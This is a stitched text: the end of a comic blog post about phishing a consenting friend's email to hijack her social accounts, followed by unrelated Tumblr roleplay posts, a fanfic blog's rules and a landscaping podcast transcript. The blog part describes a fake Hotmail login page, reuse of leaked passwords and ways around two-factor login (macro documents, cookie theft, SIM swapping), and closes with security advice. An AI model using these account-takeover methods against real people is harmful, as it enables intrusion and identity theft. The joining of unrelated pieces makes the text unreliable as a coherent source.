I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.
I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:
At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.
Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.
For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.
Well that just about wraps up Operation Luigi. Glad that's all done and dusted.
Although...
I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do
~one more thing~
Operation Waluigi: A dark turn for mature audiences
Waluigi, true to his character, is much more direct.
Damn RIGHT this new profile strength is "Advanced."
Please enjoy these half-baked opsec-enabled26 tweets27.
I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.
Part 5: Epilogue
Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.
I meet up with her and ask her about her side of the story a few days later.
Here are some choice quotes:
"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"
I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.
When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.
"You catfished me!"
We go back to the same ramen place after the interview. The credits roll.
"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"
Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.
Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.
Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.
Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.
If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:
Phish the code as well as the password (but the code expires in less than 60 seconds)
Physically go to the same place as her, connect to the same WiFi, and steal her browser session
Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it
Call up her phone provider and trick them into pointing her phone number at my SIM card
All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.
Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io
If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone
A careless mistake ↩︎
Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎
I found her LinkedIn by just googling her name #pwned ↩︎
wait did he just say "hacker voice I'm in"? ↩︎
I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎
On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎
Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎
I'm not making these up, these are real words that real hackers use I swear. ↩︎
Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎
tag urself lol ↩︎
I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎
low ↩︎
effort ↩︎
From 2002 do NOT @ me ↩︎
This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎
I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎
Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎
There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎
When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎
Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎
This is a genius suggestion from one of my ~hacker connections~. ↩︎
At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎
I mean it WOULD be pretty funny ↩︎
And wow you could do anything, book flights, get a job, change your name... ↩︎
Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎
If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎
Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎
Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎
But, this is less secure, since your phone number can still be hijacked. ↩︎
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sheriis · 8 years ago
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“WE’RE BASIC. WE’RE BITCHES. WE’RE A BASIC BITCH GROUP VERSE.”
Ayo so I know a bunch of group verses have like plots and shit and they’re all cool and fab but, honestly, I just want a regular group verse. You know one where your actions equal consequences? The general idea is going to be that all our characters have known each other since childhood, unless you specify otherwise. ( Sayin they’re new in town is cool 2 ) for the group verse I’mma say supernatural is possible so that people who have teen wolf or the vampire diaries or anything else are able to join with their canon muses.
There aren’t gonna be rules because honestly I’m lazy just know that you can’t god-mod characters or change anything about someone else’s character w/o permission. You gotta be nice, and try to post starters in the tag ( snapchat, text, and any other starter is acceptable too btw ) you know just be a normal kitten and try not to forget about the gv.
if you got a dis.cord, that’d be awesome because I’ll set up an ooc chat for it so we can all keep each other updated on what our muses are doing since it’ll be kinda hard to follow everything since we’re on indie. ( discord is super easy to set up & understand just mssg me if you need help. )
REBLOG THIS SO OTHERS KNOW.
A P P L Y I N G.
Everything’s first come, first serve. And I’d rather not have duplicates unless you talk to the other mun about some kinda twin plot or somethin’ so lets keep it clean. I’m not planning on setting a limit but for now the cap is going to be 15, including myself so there are 14 spots open. Wanna be in the GV? Send this into my ASK or SUBMIT. ( these will be posted so your dis.cord tag is taken out if you feel uncomfortable with it bein posted out in the open. )
CHARACTER NAME is AGE and resembles FACE CLAIM. They’ve been livin in this shitty town for # OF YEARS / WHOLE LIFE and plan on LEAVING / STAYING. The most important thing about them is IMPORTANT THING THAT OTHERS SHOULD KNOW BEFORE INTERACTING, and people labeled him/her/them as the LABEL. ( OOC NAME / AGE / DIS.CORD TAG / tumblr blog )
(ex.) SHERI HOLLAND is EIGHTEEN and resembles AJIONA ALEXUS. They’ve been livin in this shitty town for HER WHOLE LIFE and plan on STAYING. The most important thing about them is SHE’S THE CHEERLEADING CAPTAIN and people labeled her as the GIRL NEXT DOOR. ( Jae / 22 / unhelpful yoda™#8815 / SHERIIS )
T A G S.
Okay guys there’s gonna be more than one tag just because I’m obsesst with organization so when you’re FIRST ACCEPTED, you needa post an intro / biography for your muse ( which can be basic as fuck like just a few lines or even bullet points people should know abt you / your muse ) in the tag:
WE BASIC ( INTROS. )
THEN FOR STARTERS AND STUFF GO AHEAD AND POST THOSE:
WE BASIC ( STARTERS. )
Then aesthetics & stuff you should put those in the 
WE BASIC ( GV. )
C H A R A C T E R S.
SHERI HOLLAND is EIGHTEEN and resembles AJIONA ALEXUS. They’ve been livin in this shitty town for HER WHOLE LIFE and plan on STAYING. The most important thing about them is SHE’S THE CHEERLEADING CAPTAIN and people labeled her as the GIRL NEXT DOOR. ( Jae / 22 / SHERIIS )
JUSTIN FOLEY is EIGHTEEN and resembles BRANDON FLYNN. They’ve been livin in this shitty town for HIS WHOLE LIFE and plan on STAYING. The most important thing about them is HE IS CAPTAIN OF THE BASKETBALL TEAM and people labeled him as the A TYPICAL JOCK. ( Kelsey / 19 / JUSTINFCLEY )
MARCUS COLE is EIGHTEEN and resembles STEVEN SILVER. They’ve been livin in this shitty town for his WHOLE LIFE and plan on LEAVING. The most important thing about them is THAT HE’S THE STUDENT BODY PRESIDENT, and people labeled him as the LEADER. ( river / 20 / presidentcole )
CLAY JENSEN is 17 and resembles DYLAN MINNETTE they been living in this shitty town for 15 YEARS and plan on LEAVING the most important thing about them is HE SUFFERS FROM PTSD SINCE HE WAS 13 YEARS OLD and people labeled him as THE MISFIT ( alex / 17 / helmct )
JESSICA DAVIS is SEVENTEEN and resembles ALISHA BOE. They’ve been livin in this shitty town for HER WHOLE LIFE and plan on STAYING. The most important thing about them is SHE RUNS A FOOD BLOG, and people labeled her as the SPITFIRE. ( Chloe / 18 / thcsecond )
MASON GIORDANO is EIGHTEEN and resembles DYLAN O'BRIEN. They’ve been livin in this shitty town their WHOLE LIFE and plan on LEAVING. The most important thing about them is THAT HE'S A 'PRO' AT LEAGUE, and people labeled him as the QUIET KID. ( Lorena / 17 / cvptaingiordano )
Peter Parker is 18 and resembles Andrew Garfield. They’ve been living in this shitty town for 12 YEARS and plan on LEAVING. The most important thing about them is HE'S A PHOTOGRAPHER AND SECOND IN HIS CLASS, and people labeled him as the NERD. ( Ripley / 26 / skylinesentinel )
COURTNEY CRIMSEN is SEVENTEEN and resembles MICHELE SELENE ANG. They’ve been living in this shitty town for FIFTEEN YEARS and plan on LEAVING. The most important thing about them is SHE IS THE MOST POPULAR GIRL IN SCHOOL, and people labeled her as THE GREGARIOUS. ( dee / 20 / covrtney )
Cass is 17 and resembles Ben J Pierce. He’s been living in this shitty town for 5 years and plans on leaving. The most important thing about him is he’s seen and been through some shit (I’ll only delve further on it if people want me to) and people label him as extra™. (lee/17/ casskaiser)
HAZEL JONES is SEVENTEEN and resembles LILI REINHART. They’ve been livin in this shitty town for ONE YEAR and plan on LEAVING. The most important thing about them is EVERYONE GETTING ALONG AND NOBODY GETS BULLIED, and people labeled her as the LABEL. ( MARIESA / TWENTYONE / newgiirl )
HANNAH BAKER is EIGHTEEN and resembles KATHERINE LANGFORD. They’ve been livin in this shitty town for THE LAST SIX YEARS and plan on LEAVING. The most important thing about them is SHE’S BEEN DEALING WITH DEPRESSION AND SELF - HARM BUT KEEPS IT A SECRET and people labeled her as the CRESTFALLEN. (    ana   /   25     /     TAPESPOKEN     )
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gregofrph · 8 years ago
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Greg Reviews: Chvrchesrp
Below the cut is an in-depth review of the roleplay group @chvrchesrp. Please keep in mind that this is my own opinion and you don’t have to take any notice of what I’ve written if you don’t want to. Everything I say is to be constructive, not mean and if you do take offence to anything I apologise. If you would like me to remove my review, please ask me and I will do so as soon as I can.
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I LOVE your theme. I’m so, so happy that themes like this still exist in RP groups. It’s easy to look at, easy to read and isn’t shoved together in a small box in the centre of my computer screen. Great start for me! Your main graphics are wonderful and follow the colour scheme that you have running throughout your blog which is also nice to look at. They’re not in your face and don’t hurt your eyes. Everything seems to mesh well together.
Your navigation at first was quite overwhelming, but with a literate roleplay with an intricate plot that’s expected. There’s a lot of information that needs to be understood. I can see why it took so long from establishment to opening, but that’s not a bad thing either, it just shows that you guys didn’t rush into anything and made sure that it was all researched and completed before you did anything else. Kudos to that. I’ve known admin to get too excited and open and RPG before everything was ready to go and struggled from there.
Plot:
When reading your plot I noticed that you repeated the same phrase in two sentences: in this day and age. I found this quite jarring and I’m not a fan of phrases/sayings/specific words etc being used straight after the other. I would suggest looking for something else to put in one of the sentences, for example, the first sentence could have ‘Now’ or ‘For years’, or simply just go into ‘The Gates of Heaven….’ And then connect the two sentences with a comma, as follows:
But how can an omnipotent, all-seeing being not see his own downfall? The Gates of Heaven are in Los Angeles, just as the Gates of Hell are in Las Vegas, and in this day and age, belief is waning: there are more religions and more atheists. These things weaken the powers of this God and all of the beings within his realms. God did not see, God did not know.
Other than that, your plot honestly sounds so awesome. It’s such an original idea.
Guidelines:
Your guidelines were shorter than I expected but they cover all of the basics. I was surprised to see that you didn’t have a starter rule like a lot of roleplays are adding in now as it helps with inclusion but I also like that there you trust your members not to bubble roleplay and ignore certain people. I liked that your activity was 6 days, I think that’s a solid time for people, but I do think that your activity checks should be random and not on a specific day. In the RP I admin it used to be a specific few days but people would deliberately work around that to be inactive 3/4/5 days and then post a couple of things just before activity (or straight after they’ve been placed on it) and disappear again. It’s definitely something I would consider adding in for your benefit.
I absolutely love that you’ve added a safe word to your roleplay. This is such a good idea and I would love to know if it’s been used and if it’s worked in the past? This is something I could see many RP groups getting on board with. I would definitely add a link to that straight from the guidelines in case people gloss over it by accident (or they’re too lazy to check it out).
Characters:
I like that you have a character directory. This is the easiest way to check out open/taken characters. Your directory theme is one I have seen before and is easy to navigate. Your graphic colour doesn’t whitewash any POC which is always a plus, and you have plenty of variety when it comes to FCs. I can’t believe you only have two open characters, that’s amazing! One thing I would say is that your font colour when you hover over the character graphic is hard to read, I think it needs to be a darker colour.
I admit I only glossed over a couple of bios, but they look like a great length, not too short that details are left out but not too long to be overwhelming and make people not want to read them. I’ve read bios where they’re unnecessarily long and it’s put me off a roleplay straight away. I really like bios when they’re written in second person, I think it’s such an interesting take on bio writing and whilst I can’t do something like that myself because my brain is stuck in third person mode, kudos to you for managing it!
Your masterlist is nice and easy to follow.
Application:
More and more I see roleplays that don’t require a para sample, which I find intriguing and trusting all the same. It certainly makes my life easier as an applicant. Using headcanons and things for the future are better ways to judge how people interpret the character they’re applying for whilst also allowing yourself to see how they write. Your application process is nice and simple and doesn’t scare me to look at.
Admins:
I love your intros, they did make me chuckle, and I love that the three of you have different duties. I think that definitely makes life easier for all of you, because you don’t have to feel like you have to do everything and having separate responsibilities can make you more of a team than if you’re all trying to do everything because people can get slack and it creates tension if someone feels like they’re always doing everything.
Other:
I LOVE THAT YOU HAVE AN RP TRAILER VIDEO. You used my FAVOURITE quote in it as well, from Angels and Demons, and as soon as I heard that it completely sold me on your roleplay, please, let me love you all right now.
Overall:
To be honest, guys, you’ve got yourself a solid roleplay here. You’ve been going for a long time now, longer than a lot of roleplays around here these days, and it shows by what you’re doing. You’ve ticked all the boxes, you’ve crossed the t’s and dotted the i’s in my opinion. I’m really, really gutted I don’t have more OOC time because I would love to apply to this group and I’m actually in love with it. I wish you all the best in the future with your roleplay and maybe if my schedule frees up you’ll see an app from me!
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minttexs · 8 years ago
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Rules (kinda)
Welcome to my blog! (lol I can finally say this XD k not I’ve said it before but its official guise) I’m your crazy ass, hella sarcastic, but still cute smol bean, purrfect and puntastic BTS chef Mintae. ^^ (that was a long intro lol :D) These are some things you might wanna know when you’re on my blog, but mostly you have to fangirl over BTS and you’re good to go :*
[So this for help new people around. (I know i know not like anyone wouldn’t know what to do with tumblr.)]
Do you have a Masterlist?
Yes, i do. 
Is everything on there?
Well other than my stupid rambling and randomness yes there is every single text scenario or writing I’ve done so far.
What if a link doesn’t work or wrong in the Masterlist?
You tell me and I try to fix it :3
How can I request?
You send me an ask or in the submission part. ^^
What can I request?
I mostly do BTS, because I know them like the back of my hand. XD And there are a million bands out there so it will be hard if everyone would request their favourite, so sorry I won’t do other bands yet. :/ (but you know BTS is always mah thing ( ͡° ͜ʖ ͡°) so request as many as you’d like ( ͡° ͜ʖ ͡°))
What do you make?
I do fake texts, stories/aus, but I am open for anything. (be easy on me my englisheu won’t be purrfect T^T)
How a request proccess goes?
Well, these are the things that have to be in it:
- the number of members you want with your scenario/text (this can go up to 7, so eg: hi I want to have a text with jungkook/jimin+tae/all the members etc.)
- if you want a group text you have to tell me that too (and if you want the group text to be with specific members eg: with BTS all/rapper line/jin+jungkook etc.)
- and if I do scenarios then obviously if its a text or a scenario
- and of course what you want the story to be (it can be as specific as you want, or just a guideline and leave it to my imagination… which sometimes suck but that varies from my mood too XD)
If you follow these horribly easy steps there should be no worries ^^ (and if you don’t feel comfortable enough with your English or you think you can’t express it well don’t worry I might ask back just to make sure you get what you want in the end ;) )… (or if you always mistype everything like I do, then I try to guess it… or make fun of the word using urban dictionary lol ploy XD its still mah fave)
How much time does a request take?
Well, for you to write it it’s like 1 minute XD To actually make and post it depends on the amount of time I have and the request itself. I always check if there’s any new so if it’s late it’s probably isn’t because I haven’t seen it. I’m a student so life gets hectic for me quite often (okay I will stop talking about myself don’t worry XD) If I have time it takes maybe a day or two to make one (bc I'm lazy that's why XD) but if I don’t it can take up a to a week. I do all requests so don’t worry XD if I don’t do a request for some reason I will give a solid reason why.
What kind of genre you do?
Well I do different ones, it differs from the request too. I’m a fluffy person so most of the times (even without intention) I like to fluff out my work. I don’t mean I’m against like more serious and “sad”/angst stories but I’ve experienced many levels of sad so I like the fluff ball to cheer me on. ^^ (and khm BTS smut is my life ( ͡° ͜ʖ ͡°) but I can’t write it well in my opinion XD)
Can I request?
1000000% ^^
Are requests open?
(OPEN I will let you guys know when they will be closed)
When they will close/open I will let you know guys, and put it the description above so you can see. If requests are closed I won’t do requests obviously, probably focus on my own work or other reasons. But when they are open please feel free to request, when not you can still ask something from me (*le lonely bean likes to talk to you guys)
What does Y/N stand for?
Your name (just for those who are new to fanfics know like how I didn’t know the first time *flashback to 11 years old Mintae*) Basically you have to imagine your own name (most times first name) in the scenarios (that's what makes them a bit personal y'know ;) )
Do you do ships?
I mean if you want me to XD I can at least try
Does Mintae talk too much?
Heck yes XD
MOST IMPORTANT RULE: Be nice and do not steal my work, you have your own talent and imagination I’m sure you could even create something better than me.
You could obviously reblog, like, comment and all that jazz. And be nice to each other (and to me too lol ) never forget to be understanding and loving towards the people around you. Don’t hate on other fandoms either, let’s all have a good relationship with each other and support the other.
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Do You Have Self-Limiting BELIEFS Landscaping Business MOTIVATIONAL Mindset Talk Keith Kalfas
In today’s episode, we will talk about finances, and how does keeping finances to yourself affects and hurts your business. You don’t waste money if you get some help manage your finances, in fact, it helps you know where your money is going, or to see if you’re making a progress. Listen to this podcast and I will tell you how… 
What you are about to hear: 
00:03 -  List down all your plans, strategize. There’s nothing wrong listing all your dreams and slowly put them into action.    
  2:37 -   Regardless of what you use, what you have, what you own. Those are not important, what matters is the message you bring out there to the world. The importance you do, that will make a change.
  6:27 -   Start to look, and check your finances, it will not hurt to hire an accountant to do the PNL for you. The harm is when you thought you’re doing great with your finances and it turns out that you’re losing them. 
  8:01 - Hiring an accountant is not a waste of money, you will do this to save capital. So you could track where all your money is going to. Cool stuff is, they will provide you a PNL report each month so you could learn what’s going on with your business, your profit margins, and the amount of revenue coming in.
  13:34 - Don’t let fear control you. Think outside the box, don’t be afraid to expand. Hire someone if you need help. If that will help your business to expand. Plan, List, and then Execute my friend. 
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  Intro 
Welcome to the Untrapped Podcast where we're motivated and inspired about success, small business, and personal development. And now Keith Kalfas.
    List down all your plans, strategize. There’s nothing wrong listing all your dreams and slowly put them into action.   
  00:03
 What's up? It's Keith Kalfas with the landscaping employee trap in this video, I'm at home today. Downstairs in my basement studio. I'm doing some whiteboarding and strategy stuff and I wanted to share with you about self-limiting beliefs. A couple of things that I want to cover real quick if you're new to the channel. What's up, I'm Keith. I make thousands of videos about landscaping all the way back since 2014. Thank you so much. We just hit 90,000 subscribers and I really started this channel by me struggling living in a small one-bedroom apartment and debt, with debt collectors calling me scared, leaving a dead-end lawncare job to get my own landscaping business off the ground. I was able to get the business off the ground within six weeks by posting Craigslist ads, knocking on doors, and just being terrified. And then I was so angry after I left my job and replace my income in only six weeks. 
  1:22
That it took me about 24 months to get the business up to $100,000 in revenue just by straight-up working my tail off and I was even more angry and I had this sense of retribution and because I said, "Why was I stuck in a dead-end job for 1215 years, making minimum wage?" What felt like minimum wages JLB just over broke. Bob Proctor says that anyways when you literally can go out and hustle and get your own business off the ground. Now just because you got it off the ground doesn't mean that you've got your shit together. I mean, it's a nonstop uphill battle for what seems like could be forever. And if you don't get around the right people and get the right mentorship to help you overcome your self-limiting beliefs, and work through your own head trash, you can really box yourself into a corner and being your own boss, where you feel alone. You can get frustrated, you can have moments of feeling great, and feeling like you're successful. And then literally the next day, be down in the dumps in this up down emotional rollercoaster, and learning all the stuff on once and also the fears revolving around. Let me put this on a tripod. I'm actually on my phone right now.
Regardless of what you use, what you have, what you own. Those are not important, what matters is the message you bring out there to the world. The importance you do, that will make a change.
  2:37
I have this fancy studio and cameras and things that I've dreamed about having my entire life. And now that I have them, I'm making this video on a cellphone, go figure, right? A little lesson. Sometimes just getting your message up and getting it out there and executing is a little bit more important than trying to have the best of the best. Just get out there and do it, right? But what I want to say as I just got off the phone, and I do want to tell you before I tell you this, I don't have it all figured out myself at all. I have bad days all the time. I think that's what's made this channel get so many views over the years. It's just me being transparent and authentic. I try not to post negative content. I've really negative days sometimes. right?. But anyway, so I'm on the phone yesterday with my friend, Jacob Godar. He's in Georgia. He's got a million-dollar landscaping company. He's blowing my mind. He's telling me I met Jacob Godar when the GIE Expo in Kentucky, we're hanging out with Tee Grant and Angel Cortez and a bunch of other guys out there and DJ Carroll and all that stuff and Brian Fullerton and BMV and all those guys in a met Jacob Godar are out there. 
3:59
We also hang out in Miami too, yeah the Grant Cardone conference. Anyways, Jacob is a smart guy, he's got a YouTube channel, you could check him out. And, one video he posted was talking about breaking down your man-hour rate, and he's going through his finances and Excel spreadsheet and going through PNL's and stuff like that. And I was like, you know, this guy's got his shit together. So I call him up yesterday because I was a little frustrated. My phone is ringing off the hook in my business. Learning how to do marketing is a very good skill, but it can overwhelm you because I mean, I have 100 missed phone calls right now my voicemail inbox is full. And there's no point in even having a calling center or a secretary manage it because we just don't have the capacity to deal with it. And I'm talking about growth and expansion in the lawn and landscaping business and expanding a business without having your sales, your man our rate right and having enough revenue per day coming in per truck. It doesn't make sense to have a bunch of liability out there unless you're getting paid for it. Right? 
5:09
If the risk far outweighs the liability, what I mean is like some non-nuts texting while is driving and smashes into something, and now you've got this huge headache. And I'm not trying to be negative here. I'm just trying to be realistic or guys on a writer and spins around and just smoke someone's air conditioner cause you like $2500 and now you're getting bad reviews. There's a lot of good things that can happen but, what he told me he's talking about how much he charges per lawn and what they're doing per day. I was like, "What? I thought my prices were high man like I have already been raising my prices every single year," don't you raise your prices every year and you're afraid you're gonna lose your clients?  You got these clients hanging on, they've been your clients forever and you have this like a moral obligation to them because they're the ones that are always going to be there like you're afraid, if you let go of those core clients that you have to move upwards and onwards, what if a drought happens in your business and you lose all these new shiny customers that are going to pay you more, and then you go running back to your old client. "I'm sorry, I was wrong. I know that I left you for something better." But you know, we have all these conflicting thoughts. 
Start to look, and check your finances, it will not hurt to hire an accountant to do the PNL for you. The harm is when you thought you’re doing great with your finances and it turns out that you’re losing them. 
  6:27
I'm bringing that up. Because when you have a wave of requests that comes in for your time, and your energy, and you'll have so much energy to go around what bread and butter clients do you keep and hold on to? It's like shedding skin, it's painful. And we've raised our prices tremendously. And now we have a minimum $300 minimum to even show up on the property. We do landscaping and window cleaning, both. We do a lot more landscaping, especially this year because COVID and going inside people's homes isn't working right now. But now in landscaping that's jumped up to a $500 minimum just to show up on the property to do any maintenance. And now I'm actually strongly considering it's got to be a $700 minimum just to show up on somebody's property. And if you have a crew, it's got to do a grand a day to even make anything even worth it. And if you, I could talk about this forever, but all I'm saying is, this whiteboard in front of me. And I really think that you've got to press the big red stop button. We’ve got a marker here? I'm looking for my marker and really look at what's going on to see where you're at. And another thing is doing your books, you don't have time to do your bookkeeping, which I know I didn't. If you don't have a PNL  statement, you don't even know where you're at. So, I broke down and I was going on upwork.com looking for a bookkeeper.
Hiring an accountant is not a waste of money, you will do this to save capital. So you could track where all your money is going to. Cool stuff is, they will provide you a PNL report each month so you could learn what’s going on with your business, your profit margins, and the amount of revenue coming in. 
8:01  
because I already have an accountant, you should have an accountant and all that stuff, right? It's not too expensive. Wow, bookkeeper. It's crazy. Oh, every penny you make is gone. I found Dan Platta from Blue Skies Bookkeeping, this guy's awesome. I'll put a link below for Dan Platta. I gotta remember whenever shout people out, I gotta so they can track it. And based on the size of your company, it's not even that expensive at all. And this guy literally goes into your bank account. And it's a little vulnerable. But what happens is each month, he spits out a PNL report. You could do a deep dive and learn what's going on your business, your profit margins, the amount of revenue coming in what you're spending on marketing and payroll and expenses, and all that stuff. Right?  And then you can see Oh, this is where I'm at. Okay?
9:00
I remember I was hanging out with DJ Carroll. We were in Phoenix, Arizona, and a live event walking down the street with him. And he's like, I'm like, well, "Who handles all the work?" He's like, "Well, my crews," I'm like, "Okay, well, who picks up the phones?" He's like "The secretary" I'm like, "Well, who manages all the invoicing in the billing and the payments and all that stuff in the administrative?"  He goes, "My office manager" I'm like, "Well, who balances all the books?" He's like, "My bookkeeper" I'm like, "Wait, who does all the accounting?" He's like, "My accountant" I'm like, "What would it mean? What if there's a legal issue and something goes wrong?" He's like, "My attorney handles that." I'm like, "What? Well, what about all this business that you say you have out of state? How do you even go do it?" He's like, "My subcontractors do that" I'm like "what?" then we go hang out, in his high rise apartment overlooking Louisville. And I'm like, "Aaaaahh!!" you gotta start f***  hanging out with these geniuses man and get the fuck away from the losers man. The people who bring you down and criticize you don't believe in your dreams because they don't have any dreams your own and they tell you that you can't do shit because they can't do it. I tell you, man, if you're a big smash a big fish in a small pond as a problem.
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The untrapped podcast continues. Here's your host, Keith Kalfas
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You gotta be a small fish in a big pond where you feel vulnerable and anxious being around these people, man. You're like I thought I was the shit. I get around these guys and girls, I realize. I feel like a f***  loser. You got to get around people who like you literally go home, bite your nails and I got to get my shit together. It goes on and on and on. I understand life is a beautiful gift. It's a wonderful thing of opportunity. If you have your health. You have wealth but what I really like is like Tony Robbins said, "Modeling what other people have done who have gone before you have gone through the minefield have been in the trenches" and the funniest thing is I was listening to Bob Proctor no no no no no-no-no.
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Joseph Rodriguez on YouTube, I don't watch a lot of YouTube because I'm so busy making videos and running my business but I do watch some YouTube, and I have some favorite YouTube in lawn and landscape YouTubers. But I do watch Joseph Rodriguez he's just a guy that does book reviews. And he does reviews of books like “Think and grow rich” by Bob Proctor and like all this mindset stuff and sometimes late at night, I'll turn him on and he said, "Howard the subconscious mind or something." Basically he was saying your relationship and this like the last two weeks have blown my mind off, of one thing because that's what we're really looking for. We're looking for an aha! Have you read, we're looking for an epiphany, you might have five, six, or seven bullets, Powwow, epiphany is in your lifetime. And that kind of the goal is to get these epiphanies where these dots in your mind like their actual synaptic connections, like real physical wiring, like when all of a sudden one gut will, like a synapse will happen. But because it connected the dots is the one that that goes and connects all these other dots and you go, wooaah!
Don’t let fear control you. Think outside the box, Don’t be afraid to expand. Hire someone if you need help. if that will help your business to expand. Plan, List, and then Execute my friend. 
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Oh my god. In the past week, I have hired four people. Four virtual assistants all over the world. And I'm interviewing hiring one more and possibly another. I already have seven. And I'm like, this is insane, and internet side of my business because we do a ton of landscaping already, but because you just start to see that you're the only one holding yourself back and you ask yourself these questions, like "How am I gonna hire somebody? If I don't have the money? I'm gonna get back to what I was saying about the Joseph Reavers thing about, "how am I going to do this? I can't do this. How do.."  you’re like, you let the fear control you,  he said, "You have to develop a relationship with the unknown. If you're so afraid of the unknown, and you get it, you're too afraid to do it. So you keep learning more about it." I don't want to do it. So let me learn more about it. You feel like you're actually going crazy because you can't stop studying and researching and asking questions and you keep bumping up against these walls in your mind. Because you're so afraid to just take the step. Because if you take the step, you feel like it's gonna be a Chinese finger trap. Like you stick your finger in that thing, and then it's your finger. Am I allowed to say that? No? you really watch every little thing you say? You've heard you're gonna open up a Pandora's box or step through a trap door that once you get in you can't get out or once you Do this thing. You're afraid like I like going on payroll, you're terrified to go on the payroll? What if I go on the payroll? Oh my god, oh my god, I can't get out. I know. It's like, whatever you try, you do. 
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Now you're in it and you can't get off that roller coaster, right? Well, the funniest thing is, once you just take a step forward into it, and you can even perceive it in your brain as a who's gonna do it as an experiment? You have to develop a relationship with the unknown say, "I'm willing to step into the unknown." A lot of times I get angry because I'm like, "Well, let me just spend money just What do you mean, just spend all your money?" No. But, sometimes if you don't just pick up the phone and make that call, or you didn't just go walk into the store and try that thing out. Or you don't just book that plane ticket and go do that thing, or call up that property manager and try to sell that job. You have to take action in the physical world, and that's the one thing that's stopping you is your relationship to the unknown. We're afraid of the unknown because it's like the Saber-toothed tiger chomping away at our bottom line, we feel the ego is trying to protect us from annihilation and death. So we avoid the unknown because we know what we know. And we know that at least this is working as long as we work our ass off and keep running like a rat on a wheel. It'll work. But I don't want to step into the unknown. And it's as simple as just crossing this little membrane.
